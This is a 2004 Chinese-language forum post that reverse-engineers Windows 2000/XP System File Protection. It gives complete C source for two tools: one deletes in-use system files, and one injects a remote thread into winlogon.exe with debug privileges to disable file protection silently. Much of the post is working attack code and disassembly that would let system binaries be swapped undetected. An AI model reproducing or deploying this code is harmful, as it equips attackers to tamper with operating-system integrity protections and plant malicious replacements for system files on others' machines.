|
論壇說明 | 標記討論區已讀 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2004-03-05, 04:20 PM | #1 |
榮譽會員
|
在Win2000/XP上安靜地替換正在使用的系統檔案
總是索而不敷總有些過意不去.另外在安焦上灌了兩年水竟然安焦文檔還找不到一個我的名字. 灌不出篇精華帖子還回覆不到別人灌的精華貼. 也算得上是個奇跡了.
要安靜地替換正在使用的系統檔案要解決兩個問題: 1. 替換正在使用的檔案. 2. 在替換系統檔案時不顯示插CD的對話視窗. 微軟有兩個工具可以替換正在使用的檔案,zap和inuse. 不過都沒有源程式碼, 只好逆向分析了. inuse比較大40K, zap很小7K. 就分析zap了. 用ida開啟zap. 就有一個核心函數, 原來它的工作原理是把這個檔案移了下位置, 因為比較簡單就直接貼上代碼. -------------------cut zap.c--------- #include <Windows.h> BOOL ZapDelFile(char *szFileToDel) { char cTempFileName[0x80]; char cTempPathName[0x100]; char cFileName[0x100]; if(szFileToDel[1] == ':'){ sprintf(cTempPathName, "%c:\\", szFileToDel[0]); } else{ GetModuleFileName(NULL, cFileName, 0x100); sprintf(cTempPathName, "%c:\\", cFileName[0]); } if(GetTempFileName(cTempPathName, "_@", 0, cTempFileName) == 0){ return FALSE; } if(MoveFileEx(szFileToDel, cTempFileName, 1) == 0){ return FALSE; } if(MoveFileEx(cTempFileName, NULL, 4) == 0){ return FALSE; } return TRUE; } void usage(char *n) { printf("usage: %s fileNeedToDel\n", n); exit(0); } int main(int argc, char* argv[]) { printf("Zap programed by bgate. *\n\n"); if (argc != 2) usage(argv[0]); if(ZapDelFile(argv[1]) == TRUE){ printf("OK"); } else{ printf("error %d", GetLastError()); } return 0; } -------------------end cat----------- 現在你已經可以用它去刪除正在使用的系統檔案了, 不過刪除之後會彈出讓你插入Windows CD對話視窗. 注意: 刪系統檔案前做好備份, 在重啟前恢復, 另外刪系統檔案前還需要把dllcache中相應的備份刪除. 否則系統會自動恢復. 接下來就想辦法去掉這個對話視窗, 拿出我的法寶--google. 胡亂地搜了一氣. 搜到兩條有用訊息. 1.Windows 2000下執行系統檔案保護的代碼在sfc.dll中, Xp系統下在sfc_os.dll中. 2.註冊表中把一個叫SfcDisable的鍵設為FFFFFF9D能在下次啟動時讓檔案保護功能失效. 下面的分析是在Win2K sp4+上進行的. 其中分析的sfc.dll版本是5.0.2195.6673 用ida開啟sfc.dll在string中找sfcdisable, 沒找到! 讓string顯示Unicode. 這下看到了. 找到對SfcDisable引用的一個地方.代碼如下 .text:769269F9 call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x) .text:769269FE push ebx .text:769269FF push offset ??_C@_1BG@HOGG@?$AAS?$AAf?$AAc?$AAD?; "SfcDisable" .text:76926A04 push edi .text:76926A05 push esi .text:76926A06 mov _SFCDebug, eax .text:76926A0B call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x) .text:76926A10 push ebx .text:76926A11 push offset ??_C@_1BA@HLJH@?$AAS?$AAf?$AAc?$AAS?$AAc?$AAa?$AAn?$AA?$AA@ ; "SfcScan" .text:76926A16 push edi .text:76926A17 push esi .text:76926A18 mov _SFCDisable, eax .text:76926A1D call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x) .text:76926A22 push ebx .text:76926A23 push offset ??_C@_1BC@KFAJ@?$AAS?$AAf?$AAc?$AAQ?$AAu?$AAo?$AAt?$AAa?$AA?$AA@ ; "SfcQuota" .text:76926A28 push edi .text:76926A29 push esi .text:76926A2A mov _SFCScan, eax 其中_SfcQueryRegDwordWithAlternate@16是讀註冊表的函數. 很明顯, 它把註冊表中SfcDisable的值讀到了_SFCDisable中. 好, 開啟softice. 在_SFCDisable上設斷點. 我們又用剛寫的zap去刪系統檔案, softice彈出來了. 斷到了下面這個地方, eip為7692A326, _SFCDisable為2. .text:7692A319 push ecx .text:7692A31A and [esp+4+var_4], 0 .text:7692A31F cmp _SFCDisable, 3 .text:7692A326 push ebx .text:7692A327 push ebp .text:7692A328 push esi .text:7692A329 push edi .text:7692A32A jnz short loc_7692A333 .text:7692A32C xor eax, eax .text:7692A32E jmp loc_7692A459 F5退出, 一會兒對話視窗彈了出來, 就對這兒引用了一次. 很好, 看看上面這段代碼"cmp _SFCDisable, 3". 此時_SFCDisable為2彈出了對話視窗, 那麼我就把它改為3又用zap刪系統檔案試試. 哈, 運氣很好, 這次沒出現讓插CD的對話視窗了. 也就是說只要我們把_SFCDisable改為3就能偷偷地替換系統檔案了. 不過不同版本這個地址是不一樣的, 用switch來做這個活總是不好. 得寫個有通用性的代碼. 開始我想它的工作原理大概是Winlogon發現了有對系統檔案進行操作. 便使用sfc.dll中的輸出函數進行檢查. 我們就只需得到這個輸出函數入口然後把這個函數"註釋"掉就可以了.跟著上面這段代碼逆流而上, 找到最後由76924544輸出, 又在76924544上加個斷點, 繼續去刪檔案. softice跳出來了, 不過不在函數的入口, 反倒在剛才設置的對_SFCDisable的讀取上, 沒執行函數的入口就執行了函數體中的代碼, 看來遇到高人了. 非得逼我出必殺技, 開啟2000源程式碼 : ). 找了半天沒找到相應代碼又只得退回來看彙編, 最後發現了這個函數NtWaitForMultipleObjects. 呵, 難怪沒中斷在函數的入口上, 原來早執行了函數的入口然後在函數體裡一直沒退出. 註釋函數的方法不行了. 這時我想它的工作原理大概是winlogon使用sfc.dll中的輸出函數在系統啟動時新建了一系列事件. 既然winlogon新建了, 那麼它也應該得撤銷. 用depends開啟winlogon. 果然從sfc.dll中輸入了兩個函數. 一個是剛才分析的那個, 新建了一系列事件. 看看另一個, 輸出地址是76926869, 不出所料, 關閉了一系列事件. 現在我們只要向winlogon中注入代碼使用"另一個"函數就能取消檔案保護功能了. 不過winlogon不能隨便注入代碼. 26A雜誌第六期上有篇文章提到了注入方法:"adjust debugger access rightz to our process". 那也是一篇SFCDisable的文章, 他用的方法是在記憶體中搜索特徵碼, 然後修改. 通用性應該沒這麼好. 下面的注入方法是從crazylord的代碼中拷過來的, 不過方法不是. , 寫完後就懶得檢查了, 加之水平有限, 寫的不過優雅的地方就將就著看. -----------------cut antisfc.c----------- #include <stdlib.h> #include "Windows.h" #include "Tlhelp32.h" #pragma comment( lib, "Advapi32.lib" ) typedef void (_stdcall * CLOSEEVENTS)(void); typedef unsigned long DWORD; typedef DWORD ANTISFC_ACCESS; /* * ANTISFC structures */ typedef struct _ANTISFC_PROCESS { DWORD Pid; // process pid HANDLE ProcessHandle; // process handle char ImageName[MAX_PATH]; // image name (not full path) } ANTISFC_PROCESS, *PANTISFC_PROCESS; __inline void ErrorMessageBox(char *szAdditionInfo) { printf("error on %s, error code %d. \n", szAdditionInfo, GetLastError()); } void usage(char *n) { printf("usage: %s [/d]\n", n); printf("\t/d: disable sfc file protecte fuction.\n"); exit(0); } DWORD Init() { DWORD Ret = 0; HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { ErrorMessageBox("OpenProcessToken"); } else { if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) { ErrorMessageBox("LookupPrivilegeValue"); } else { tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) { ErrorMessageBox("AdjustTokenPrivileges"); } else { Ret = 1; } } CloseHandle(hToken); } return(Ret); } DWORD GetPidEx(char *proc_name, char *full_path) { DWORD dwPid=0; HANDLE hSnapshot; PROCESSENTRY32 pe; BOOL Ret; if (isdigit(proc_name[0])) dwPid = strtoul(proc_name, NULL, 0); else dwPid = -1; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == (HANDLE) -1){ ErrorMessageBox("CreateToolhelp32Snapshot"); return(0); } pe.dwSize = sizeof(PROCESSENTRY32); Ret = Process32First(hSnapshot, &pe); while (Ret) { if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0) || (pe.th32ProcessID == dwPid)) { dwPid = pe.th32ProcessID; strcpy(full_path, pe.szExeFile); break; } pe.dwSize = sizeof(PROCESSENTRY32); Ret = Process32Next(hSnapshot, &pe); } CloseHandle(hSnapshot); if (dwPid == -1) dwPid = 0; return(dwPid); } DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access) { DWORD Ret=0; Process->Pid = GetPidEx(proc_name, Process->ImageName); if (Process->Pid != 0 && Process->ImageName[0] != 0) { Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid); if (Process->ProcessHandle == NULL) ErrorMessageBox("OpenProcess"); else Ret = 1; } return(Ret); } DWORD InjectThread(PANTISFC_PROCESS Process, PVOID function) { HANDLE hThread; DWORD dwThreadPid = 0, dwState; hThread = CreateRemoteThread(Process->ProcessHandle, NULL, 0, (DWORD (__stdcall *) (void *)) function, NULL, 0, &dwThreadPid); if (hThread == NULL) { ErrorMessageBox("CreateRemoteThread"); goto cleanup; } dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes switch (dwState) { case WAIT_TIMEOUT: case WAIT_FAILED: ErrorMessageBox("WaitForSingleObject"); goto cleanup; case WAIT_OBJECT_0: break; default: ErrorMessageBox("WaitForSingleObject"); goto cleanup; } CloseHandle(hThread); return dwThreadPid; cleanup: CloseHandle(hThread); return 0; } int main(int argc, char* argv[]) { ANTISFC_PROCESS Process; HMODULE hSfc; DWORD dwThread; CLOSEEVENTS pfnCloseEvents; DWORD dwVersion; printf("AntiSfc programed by bgate. *\n\n"); if (argc != 2) usage(argv[0]); if (strcmp(argv[1], "/d") != 0) { usage(argv[0]); } if (Init()) { printf("debug privilege set\n"); } else { printf("error on get debug privilege\n"); return(0); } if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0) { printf("error on get process info. \n"); return(0); } dwVersion = GetVersion(); if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5){ // Windows 2000/XP if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0){ //Windows 2000 hSfc = LoadLibrary("sfc.dll"); printf("Win2000\n"); } else {//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP hSfc = LoadLibrary("sfc_os.dll"); printf("Windows XP\n"); } } //else if () //2003? else { printf("unsupported version\n"); } pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc, MAKEINTRESOURCE(2)); if(pfnCloseEvents == NULL){ printf("Load the sfc fuction failed\n"); FreeLibrary(hSfc); return(0); } FreeLibrary(hSfc); dwThread = InjectThread(&Process, pfnCloseEvents); if(dwThread == 0){ printf("failed\n"); } else{ printf("OK\n"); } CloseHandle(Process.ProcessHandle); return(0); } ------------------end cut--------- 在執行zap替換系統檔案前執行一下antisfc就行了, 你也可以把它們寫到一起. 理論上他能在2000, xp, 2003?的任何版本上使用. 不過我只在Win2K sp4+, WinXP sp1+上測試過. 本文的缺點是替換的系統檔案只能在重啟後生效, 寫完了. 參考文獻: http://www.chapeaux-noirs.org/win/ |
送花文章: 3,
|